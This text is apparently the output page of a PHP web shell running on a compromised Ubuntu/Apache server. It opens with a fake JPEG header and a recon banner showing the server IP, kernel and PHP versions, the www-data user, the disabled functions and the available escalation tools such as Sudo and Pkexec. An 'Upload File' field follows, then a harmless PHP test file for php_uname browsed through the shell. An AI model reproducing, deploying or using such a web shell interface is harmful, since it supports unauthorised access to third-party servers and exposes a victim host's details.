????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.170 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/b8009/php-5.6.22/ext/standard/tests/general_functions/ |
Upload File : |
--TEST-- Test php_uname() function - usage variations --FILE-- <?php /* Prototype: string php_uname ([ string $mode ] ) * Description: Returns information about the operating system PHP is running on */ echo "*** Testing php_uname() - usage variations\n"; // Prevent notices about undefines variables error_reporting(E_ALL & ~E_NOTICE); $unset_var = 10; unset ($unset_var); class fooClass { function __toString() { return "m"; } } $values = array( // int data "0" => 0, "1" => 1, "12345" => 12345, "-2345" => -2345, // float data "10.5" => 10.5, "-10.5" => -10.5, "10.1234567e10" => 10.1234567e10, "10.7654321E-10" => 10.7654321E-10, ".5" => .5, // null data "NULL" => NULL, "null" => null, // boolean data "true" => true, "false" => false, "TRUE" => TRUE, "FALSE" => FALSE, // empty data "\"\"" => "", "''" => '', // object data "new fooClass()" => new fooClass(), // undefined data "undefined var" => $undefined_var, // unset data "unset var" => $unset_var, ); // loop through each element of the array for data foreach($values as $key => $value) { echo "-- Iterator $key --\n"; var_dump( php_uname($value) ); }; ?> ===DONE=== --EXPECTF-- *** Testing php_uname() - usage variations -- Iterator 0 -- string(%d) "%s" -- Iterator 1 -- string(%d) "%s" -- Iterator 12345 -- string(%d) "%s" -- Iterator -2345 -- string(%d) "%s" -- Iterator 10.5 -- string(%d) "%s" -- Iterator -10.5 -- string(%d) "%s" -- Iterator 10.1234567e10 -- string(%d) "%s" -- Iterator 10.7654321E-10 -- string(%d) "%s" -- Iterator .5 -- string(%d) "%s" -- Iterator NULL -- string(%d) "%s" -- Iterator null -- string(%d) "%s" -- Iterator true -- string(%d) "%s" -- Iterator false -- string(%d) "%s" -- Iterator TRUE -- string(%d) "%s" -- Iterator FALSE -- string(%d) "%s" -- Iterator "" -- string(%d) "%s" -- Iterator '' -- string(%d) "%s" -- Iterator new fooClass() -- string(%d) "%s" -- Iterator undefined var -- string(%d) "%s" -- Iterator unset var -- string(%d) "%s" ===DONE===